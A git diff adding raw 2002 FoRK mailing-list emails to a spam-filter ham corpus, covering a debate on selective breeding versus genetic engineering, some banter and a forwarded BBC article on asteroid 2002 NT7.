+Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OJvY404375 for ; + Wed, 24 Jul 2002 20:57:34 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 1D98229414F; Wed, 24 Jul 2002 12:56:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from localhost.localdomain + (dsl-208-151-246-47.dsl.easystreet.com [208.151.246.47]) by xent.com + (Postfix) with ESMTP id 3712E294144 for ; Wed, + 24 Jul 2002 12:55:45 -0700 (PDT) +Received: (from karl@localhost) by localhost.localdomain (8.11.6/8.11.6) + id g6OKEp510483; Wed, 24 Jul 2002 13:14:51 -0700 +X-Authentication-Warning: localhost.localdomain: karl set sender to + kra@monkey.org using -f +To: fork@spamassassin.taint.org +Subject: Re: [Baseline] Raising chickens the high-tech way +References: <135.11be3f63.2a7000bc@aol.com> + <3D3EF738.3050704@cse.ucsc.edu> +From: Karl Anderson +Organization: Ape Mgt. +In-Reply-To: Elias Sinderson's message of "Wed, 24 Jul 2002 11:51:36 -0700" +Message-Id: +User-Agent: Gnus/5.0802 (Gnus v5.8.2) Emacs/20.7 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 24 Jul 2002 13:14:51 -0700 + +Elias Sinderson writes: + +> Sorry, Karl, your confusing things. + +No, it's just a silly discussion, but that's what picky semantic +discussions turn into :) + +> Thos is saying that selective +> breeding should be counted as genetic engineering, whereas you are +> extending his definition to include the attration that your parents felt... + +Yes, I'm saying that if he extends "genetic engineering" to include +selecting animals to breed, he must extend it to include selecting +people to breed with. + +> Unless your parents were selectively bred like livestock to produce you, +> I don't think you can make that case... :-) + +I'm saying that my parents selected each other, and that they did so +because (among other reasons) each wanted the other's genes to be +mixed with their own in the offspring that they were planning. + +What does it matter that they were selecting to produce their own +offspring, rather than the offspring of two unrelated animals? + +-- +Karl Anderson kra@monkey.org http://www.monkey.org/~kra/ +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00864.75ad4f0552f4dc1629233e5d62d85309 b/bayes/spamham/easy_ham_2/00864.75ad4f0552f4dc1629233e5d62d85309 new file mode 100644 index 0000000..1df15c8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00864.75ad4f0552f4dc1629233e5d62d85309 @@ -0,0 +1,66 @@ +From fork-admin@xent.com Thu Jul 25 11:08:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 467C4440D1 + for ; Thu, 25 Jul 2002 06:08:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:08:09 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OJ4G402009 for ; + Wed, 24 Jul 2002 20:04:16 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 77494294155; Wed, 24 Jul 2002 12:00:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id 48FC429414A for ; + Wed, 24 Jul 2002 11:59:10 -0700 (PDT) +Received: from maya.dyndns.org (ts5-034.ptrb.interhop.net + [165.154.190.98]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g6OIYLM21730 for ; Wed, 24 Jul 2002 14:34:21 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id 36ACE1C39A; + Wed, 24 Jul 2002 14:58:50 -0400 (EDT) +To: fork@spamassassin.taint.org +Subject: Re: My brain hurts +References: <20020724180613.9D799C44E@argote.ch> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 24 Jul 2002 14:58:50 -0400 + +>>>>> "R" == Robert Harley writes: + + R> CURVE: 5486124068793688683255936251187209270074392635932332070112001988456197381759672947165175699536362793613284725337872111744958183862744647903224103718245568925556758419805069056847065147709058947190200192542277555125346128173135573355537502225974504428432790108988791795746287271944131683364548299056172016 + +HA! Ha ha ha! ha, ha ha, a-hee, hee. aHEM! + +whew. (sigh) + +Good one. ok, Robert, you win :) + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00865.55407950e065d67e276eb5ecf44bc1f6 b/bayes/spamham/easy_ham_2/00865.55407950e065d67e276eb5ecf44bc1f6 new file mode 100644 index 0000000..48569ac --- /dev/null +++ b/bayes/spamham/easy_ham_2/00865.55407950e065d67e276eb5ecf44bc1f6 @@ -0,0 +1,71 @@ +From fork-admin@xent.com Thu Jul 25 11:08:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 960FB440D9 + for ; Thu, 25 Jul 2002 06:08:18 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:08:18 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OKtX407130 for ; + Wed, 24 Jul 2002 21:55:34 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D61BA29414E; Wed, 24 Jul 2002 13:54:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id CD7442940E1 for ; Wed, + 24 Jul 2002 13:53:37 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id AEEFE3ED52; + Wed, 24 Jul 2002 16:53:40 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id AD9263EC45 for ; Wed, + 24 Jul 2002 16:53:40 -0400 (EDT) +From: Tom +To: fork@spamassassin.taint.org +Subject: Re: [Baseline] Raising chickens the high-tech way +In-Reply-To: <3D3EF738.3050704@cse.ucsc.edu> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 16:53:40 -0400 (EDT) + +On Wed, 24 Jul 2002, Elias Sinderson wrote: + +--]Sorry, Karl, your confusing things. Thos is saying that selective +--]breeding should be counted as genetic engineering, whereas you are +--]extending his definition to include the attration that your parents felt... + +The grain is this....... + +Selective breeding, cross polinization, ie is a MACROgenetic activites. +Your dealing with big structures like whole sheep, plants, seed etc. + +Manipulating the actual DNA, protein sequences, etc etc is a MICROgenetic +activity. + +MACROgenetic activites have decades on decades of testing... +MICROgentic activities DO NOT. + + +You guys get the point yet, or do you want to play another round of +Obscura Detalist Retardo? + +-tom + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00866.41e89c3d3edc6f4f2bfcf0f070dd6621 b/bayes/spamham/easy_ham_2/00866.41e89c3d3edc6f4f2bfcf0f070dd6621 new file mode 100644 index 0000000..26dad70 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00866.41e89c3d3edc6f4f2bfcf0f070dd6621 @@ -0,0 +1,62 @@ +From fork-admin@xent.com Thu Jul 25 11:08:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 34387440DA + for ; Thu, 25 Jul 2002 06:08:19 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:08:19 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OL0H407368 for ; + Wed, 24 Jul 2002 22:00:17 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id ADDED294157; Wed, 24 Jul 2002 13:55:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id D8762294156 for ; Wed, + 24 Jul 2002 13:55:00 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id C5D693ED52; + Wed, 24 Jul 2002 16:55:03 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id C475F3EC45; Wed, 24 Jul 2002 16:55:03 -0400 (EDT) +From: Tom +To: Luis Villa +Cc: fork@spamassassin.taint.org +Subject: RE: USA USA WE ARE NUMBER ....six. +In-Reply-To: <1027536843.3463.79.camel@10-0-0-223.boston.ximian.com> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 16:55:03 -0400 (EDT) + +On 24 Jul 2002, Luis Villa wrote: + +--]The report, apparently, makes that point as well. Tom seems to have +--]taken things a slight bit out of context. :) + +I was simply posting, I did nto even comment of the fsking thing. So back +the F off biotches. + +Jezz, add too much and they jump on you , dont add anything but your name +and they fill in thier own versions....Two fingers in the air. + +I LOVE YOU ALL. + +-tom + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00867.e614a8905c3462878227048e467cc535 b/bayes/spamham/easy_ham_2/00867.e614a8905c3462878227048e467cc535 new file mode 100644 index 0000000..265295a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00867.e614a8905c3462878227048e467cc535 @@ -0,0 +1,63 @@ +From fork-admin@xent.com Thu Jul 25 11:09:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C1B47440DD + for ; Thu, 25 Jul 2002 06:08:19 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:08:19 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OL5a407707 for ; + Wed, 24 Jul 2002 22:05:37 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 64559294154; Wed, 24 Jul 2002 14:04:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from localhost.localdomain + (dsl-208-151-246-47.dsl.easystreet.com [208.151.246.47]) by xent.com + (Postfix) with ESMTP id E7C1829414E for ; Wed, + 24 Jul 2002 14:03:43 -0700 (PDT) +Received: (from karl@localhost) by localhost.localdomain (8.11.6/8.11.6) + id g6OLMmZ10712; Wed, 24 Jul 2002 14:22:48 -0700 +X-Authentication-Warning: localhost.localdomain: karl set sender to + kra@monkey.org using -f +To: Tom +Cc: fork@spamassassin.taint.org +Subject: Re: [Baseline] Raising chickens the high-tech way +References: +From: Karl Anderson +Organization: Ape Mgt. +In-Reply-To: Tom's message of "Wed, 24 Jul 2002 16:53:40 -0400 (EDT)" +Message-Id: +User-Agent: Gnus/5.0802 (Gnus v5.8.2) Emacs/20.7 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 24 Jul 2002 14:22:48 -0700 + +Tom writes: + +> MACROgenetic activites have decades on decades of testing... +> MICROgentic activities DO NOT. + +An interesting idea I heard of was to use gene maps & genetic info +about animals to guide the breeding process - essentially shortening +the iteration time with genetic information, but not touching any +genes themselves. + +-- +Karl Anderson kra@monkey.org http://www.monkey.org/~kra/ +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00868.3e79b5b1073bccc35db784ab7e543e21 b/bayes/spamham/easy_ham_2/00868.3e79b5b1073bccc35db784ab7e543e21 new file mode 100644 index 0000000..d9f170d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00868.3e79b5b1073bccc35db784ab7e543e21 @@ -0,0 +1,71 @@ +From fork-admin@xent.com Thu Jul 25 11:09:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D31C1440DE + for ; Thu, 25 Jul 2002 06:08:22 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:08:22 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OLJ6408360 for ; + Wed, 24 Jul 2002 22:19:06 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id EDF7529415E; Wed, 24 Jul 2002 14:14:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id 5572029415D for ; Wed, + 24 Jul 2002 14:13:19 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id 8405B3ED53; + Wed, 24 Jul 2002 17:13:22 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id 823BB3ECF9; Wed, 24 Jul 2002 17:13:22 -0400 (EDT) +From: Tom +To: Karl Anderson +Cc: fork@spamassassin.taint.org +Subject: Re: [Baseline] Raising chickens the high-tech way +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 17:13:22 -0400 (EDT) + +On 24 Jul 2002, Karl Anderson wrote: + +--]An interesting idea I heard of was to use gene maps & genetic info +--]about animals to guide the breeding process - essentially shortening +--]the iteration time with genetic information, but not touching any +--]genes themselves. + +Thats where the gentic Purists bredding program was heading. Hitler wet +himslef when his big brains laid out the plan of forced natural selection, +images of strong young blonde boys marching around him sent him off in a +double nostil coke blow frenzy.. + +Of course back then they did not have the fine tuned maps we got today. +Macromap wise we got the host of gps angles over head beaming the answeres +in feet to our "where are we now" musings, micromap wise we now have the +ability to spot the "will laugh at the goon shows" switch" + +All the early genticpurists had to go on was hkull size, hair color and +schlongalongadingdangage. + +AS always the probelm is not that we can do this , its what we do with it. + +-tomwsmf + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00869.0fbb783356f6875063681dc49cfcb1eb b/bayes/spamham/easy_ham_2/00869.0fbb783356f6875063681dc49cfcb1eb new file mode 100644 index 0000000..286380d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00869.0fbb783356f6875063681dc49cfcb1eb @@ -0,0 +1,542 @@ +From fork-admin@xent.com Thu Jul 25 11:09:12 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 91EE7440D3 + for ; Thu, 25 Jul 2002 06:08:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:08:29 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OLah409343 for ; + Wed, 24 Jul 2002 22:36:45 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 8D51229415C; Wed, 24 Jul 2002 14:35:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from shockwave.systems.pipex.net (shockwave.systems.pipex.net + [62.241.160.9]) by xent.com (Postfix) with ESMTP id 2866C29415A for + ; Wed, 24 Jul 2002 14:34:25 -0700 (PDT) +Received: from PETER (81-86-177-135.dsl.pipex.com [81.86.177.135]) by + shockwave.systems.pipex.net (Postfix) with SMTP id 8F5BC16000BA4 for + ; Wed, 24 Jul 2002 22:34:23 +0100 (BST) +Message-Id: <001301c23359$d8208130$0100a8c0@PETER> +From: "Peter Kilby" +To: +Subject: Asteroids anyone ? +MIME-Version: 1.0 +Content-Type: multipart/related; + boundary="----=_NextPart_000_000F_01C23362.3939B510"; + type="multipart/alternative" +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 22:34:07 +0100 + +This is a multi-part message in MIME format. + +------=_NextPart_000_000F_01C23362.3939B510 +Content-Type: multipart/alternative; + boundary="----=_NextPart_001_0010_01C23362.3939B510" + + +------=_NextPart_001_0010_01C23362.3939B510 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +Not the computer game but ....... + +http://news.bbc.co.uk/1/hi/sci/tech/2147879.stm + +Wednesday, 24 July, 2002, 02:29 GMT 03:29 UK=20 +Space rock 'on collision course' + +=20 +An asteroid could devastate Earth + + =20 + =20 + By Dr David Whitehouse=20 + BBC News Online science editor =20 + =20 + =20 +An asteroid discovered just weeks ago has become the most threatening = +object yet detected in space.=20 +A preliminary orbit suggests that 2002 NT7 is on an impact course with = +Earth and could strike the planet on 1 February, 2019 - although the = +uncertainties are large.=20 + +Astronomers have given the object a rating on the so-called Palermo = +technical scale of threat of 0.06, making NT7 the first object to be = +given a positive value.=20 + +>>From its brightness, astronomers estimate it is about two kilometres = +wide, large enough to cause continent-wide devastation on Earth.=20 + +Many observations=20 + +Although astronomers say the object definitely merits attention, they = +expect more observations to show it is not on an Earth-intersecting = +trajectory.=20 + + + + This asteroid has now become the most threatening object in the = +short history of asteroid detection=20 + =20 + Dr Benny Peiser =20 +It was first seen on the night of 5 July, picked up by the Linear = +Observatory's automated sky survey programme in New Mexico, US.=20 + +Since then astronomers worldwide have been paying close attention to it, = +amassing almost 200 observations in a few weeks.=20 + + +Could it be deflected?=20 +Dr Benny Peiser, of Liverpool John Moores University in the UK, told BBC = +News Online that "this asteroid has now become the most threatening = +object in the short history of asteroid detection".=20 + +NT7 circles the Sun every 837 days and travels in a tilted orbit from = +about the distance of Mars to just within the Earth's orbit.=20 + +Potential devastation=20 + +Detailed calculations of NT7's orbit suggest many occasions when its = +projected path through space intersects the Earth's orbit.=20 + +Researchers estimate that on 1 February, 2019, its impact velocity on = +the Earth would be 28 km a second - enough to wipe out a continent and = +cause global climate changes.=20 + +However, Dr Peiser was keen to point out that future observations could = +change the situation.=20 + +He said: "This unique event should not diminish the fact that additional = +observations in coming weeks will almost certainly - we hope - eliminate = +the current threat."=20 + +Easily observable=20 + +According to astronomers, NT7 will be easily observable for the next 18 = +months or so, meaning there is no risk of losing the object.=20 + +Observations made over that period - and the fact that NT7 is bright = +enough that it is bound to show up in old photographs - mean that = +scientists will soon have a very precise orbit for the object.=20 + +Dr Donald Yeomans, of the US space agency's (Nasa) Jet Propulsion = +Laboratory in California, told BBC News Online: "The orbit of this = +object is rather highly inclined to the Earth's orbit so it has been = +missed because until recently observers were not looking for such = +objects in that region of space."=20 + +Regarding the possibility of an impact, Dr Yeomans said the = +uncertainties were large.=20 + +"The error in our knowledge of where NT7 will be on 1 February, 2019, is = +large, several tens of millions of kilometres," he said.=20 + +Dr Yeomans said the world would have to get used to finding more objects = +like NT7 that, on discovery, look threatening, but then become harmless. = + + +"This is because the problem of Near-Earth Objects is now being properly = +addressed," he said.=20 + + + +------=_NextPart_001_0010_01C23362.3939B510 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + + +
Not the computer game but = +.......
+
 
+
http://news.bbc.= +co.uk/1/hi/sci/tech/2147879.stm
+
 
+
Wednesday, 24 July, = +2002, 02:29=20 +GMT 03:29 UK +
Space rock 'on collision = +course'
+
3D"Nasa=20 +
An asteroid could devastate=20 +Earth
+
+ + + + + + + + + + + + + +
3D""3D""
By Dr David = +Whitehouse=20 +
BBC News Online science = +editor=20 +
An asteroid discovered just weeks = +ago has=20 +become the most threatening object yet detected in space.=20 +

A preliminary orbit suggests that 2002 NT7 is on an impact course = +with Earth=20 +and could strike the planet on 1 February, 2019 - although the = +uncertainties are=20 +large.=20 +

Astronomers have given the object a rating on the so-called Palermo = +technical=20 +scale of threat of 0.06, making NT7 the first object to be given a = +positive=20 +value.=20 +

From its brightness, astronomers estimate it is about two kilometres = +wide,=20 +large enough to cause continent-wide devastation on Earth.=20 +

Many observations=20 +

Although astronomers say the object definitely merits attention, they = +expect=20 +more observations to show it is not on an Earth-intersecting trajectory. = + +

+ + + + + +
3D""=20
+
This asteroid has now become the most = +threatening=20 + object in the short history of asteroid detection
3D""
+
Dr Benny Peiser = +
It was first=20 +seen on the night of 5 July, picked up by the Linear Observatory's = +automated sky=20 +survey programme in New Mexico, US.=20 +

Since then astronomers worldwide have been paying close attention to = +it,=20 +amassing almost 200 observations in a few weeks.=20 +

+

Could it be = +deflected?=20 +
+

Dr Benny Peiser, of Liverpool John Moores University in the UK, told = +BBC News=20 +Online that "this asteroid has now become the most threatening object in = +the=20 +short history of asteroid detection".=20 +

NT7 circles the Sun every 837 days and travels in a tilted orbit from = +about=20 +the distance of Mars to just within the Earth's orbit.=20 +

Potential devastation=20 +

Detailed calculations of NT7's orbit suggest many occasions when its=20 +projected path through space intersects the Earth's orbit.=20 +

Researchers estimate that on 1 February, 2019, its impact velocity on = +the=20 +Earth would be 28 km a second - enough to wipe out a continent and cause = +global=20 +climate changes.=20 +

However, Dr Peiser was keen to point out that future observations = +could=20 +change the situation.=20 +

He said: "This unique event should not diminish the fact that = +additional=20 +observations in coming weeks will almost certainly - we hope - eliminate = +the=20 +current threat."=20 +

Easily observable=20 +

According to astronomers, NT7 will be easily observable for the next = +18=20 +months or so, meaning there is no risk of losing the object.=20 +

Observations made over that period - and the fact that NT7 is bright = +enough=20 +that it is bound to show up in old photographs - mean that scientists = +will soon=20 +have a very precise orbit for the object.=20 +

Dr Donald Yeomans, of the US space agency's (Nasa) Jet Propulsion = +Laboratory=20 +in California, told BBC News Online: "The orbit of this object is rather = +highly=20 +inclined to the Earth's orbit so it has been missed because until = +recently=20 +observers were not looking for such objects in that region of space."=20 +

Regarding the possibility of an impact, Dr Yeomans said the = +uncertainties=20 +were large.=20 +

"The error in our knowledge of where NT7 will be on 1 February, 2019, = +is=20 +large, several tens of millions of kilometres," he said.=20 +

Dr Yeomans said the world would have to get used to finding more = +objects like=20 +NT7 that, on discovery, look threatening, but then become harmless.=20 +

"This is because the problem of Near-Earth Objects is now being = +properly=20 +addressed," he said.=20 +

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ESMTP id g6OMDZ411101 for ; + Wed, 24 Jul 2002 23:13:36 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 9043D294159; Wed, 24 Jul 2002 15:12:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail.evergo.net (unknown [206.191.151.2]) by xent.com + (Postfix) with SMTP id 06D85294157 for ; Wed, + 24 Jul 2002 15:11:47 -0700 (PDT) +Received: (qmail 14624 invoked from network); 24 Jul 2002 22:11:46 -0000 +Received: from dsl.206.191.151.102.evergo.net (HELO JMHALL) + (206.191.151.102) by mail.evergo.net with SMTP; 24 Jul 2002 22:11:46 -0000 +Reply-To: +From: "John Hall" +To: "'Karl Anderson'" , +Subject: RE: [Baseline] Raising chickens the high-tech way +Message-Id: <000b01c2335f$19fff630$0200a8c0@JMHALL> +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.2627 +In-Reply-To: +Importance: Normal +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 15:11:46 -0700 + +My take: if genetic engineering includes selective breeding, then it +also includes human pairs that are not randomly grouped. + +It doesn't matter if those two intend what they are doing, they are +engaged in a 'selected sort'. It has been brought up that a boss no +longer marries his secretary. Now the female law partner selects +another high earning mate (at least associate law). So instead of two +couples making $140K a piece (100K + 40K) you have one pair with $200 +and one pair with $80 and this has some interesting social effects. And +one of those effects is the difference in their children (on average). + + +> -----Original Message----- +> From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of +Karl +> Anderson +> Sent: Wednesday, July 24, 2002 1:15 PM +> To: fork@spamassassin.taint.org +> Subject: Re: [Baseline] Raising chickens the high-tech way +> +> Elias Sinderson writes: +> +> > Sorry, Karl, your confusing things. +> +> No, it's just a silly discussion, but that's what picky semantic +> discussions turn into :) +> +> > Thos is saying that selective +> > breeding should be counted as genetic engineering, whereas you are +> > extending his definition to include the attration that your parents +> felt... +> +> Yes, I'm saying that if he extends "genetic engineering" to include +> selecting animals to breed, he must extend it to include selecting +> people to breed with. +> +> > Unless your parents were selectively bred like livestock to produce +you, +> > I don't think you can make that case... :-) +> +> I'm saying that my parents selected each other, and that they did so +> because (among other reasons) each wanted the other's genes to be +> mixed with their own in the offspring that they were planning. +> +> What does it matter that they were selecting to produce their own +> offspring, rather than the offspring of two unrelated animals? +> +> -- +> Karl Anderson kra@monkey.org +http://www.monkey.org/~kra/ +> http://xent.com/mailman/listinfo/fork + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00871.7a7b29943cc3ad3a101aa9d41eeef6d3 b/bayes/spamham/easy_ham_2/00871.7a7b29943cc3ad3a101aa9d41eeef6d3 new file mode 100644 index 0000000..4119dca --- /dev/null +++ b/bayes/spamham/easy_ham_2/00871.7a7b29943cc3ad3a101aa9d41eeef6d3 @@ -0,0 +1,67 @@ +From fork-admin@xent.com Thu Jul 25 11:09:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 96E8F440D0 + for ; Thu, 25 Jul 2002 06:08:43 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:08:43 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OMP0411566 for ; + Wed, 24 Jul 2002 23:25:01 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id B185B294163; Wed, 24 Jul 2002 15:20:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id A28D0294159 for ; + Wed, 24 Jul 2002 15:19:50 -0700 (PDT) +Received: from maya.dyndns.org (ts5-034.ptrb.interhop.net + [165.154.190.98]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g6OLt2M04012 for ; Wed, 24 Jul 2002 17:55:02 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id 335BF1C39A; + Wed, 24 Jul 2002 18:19:30 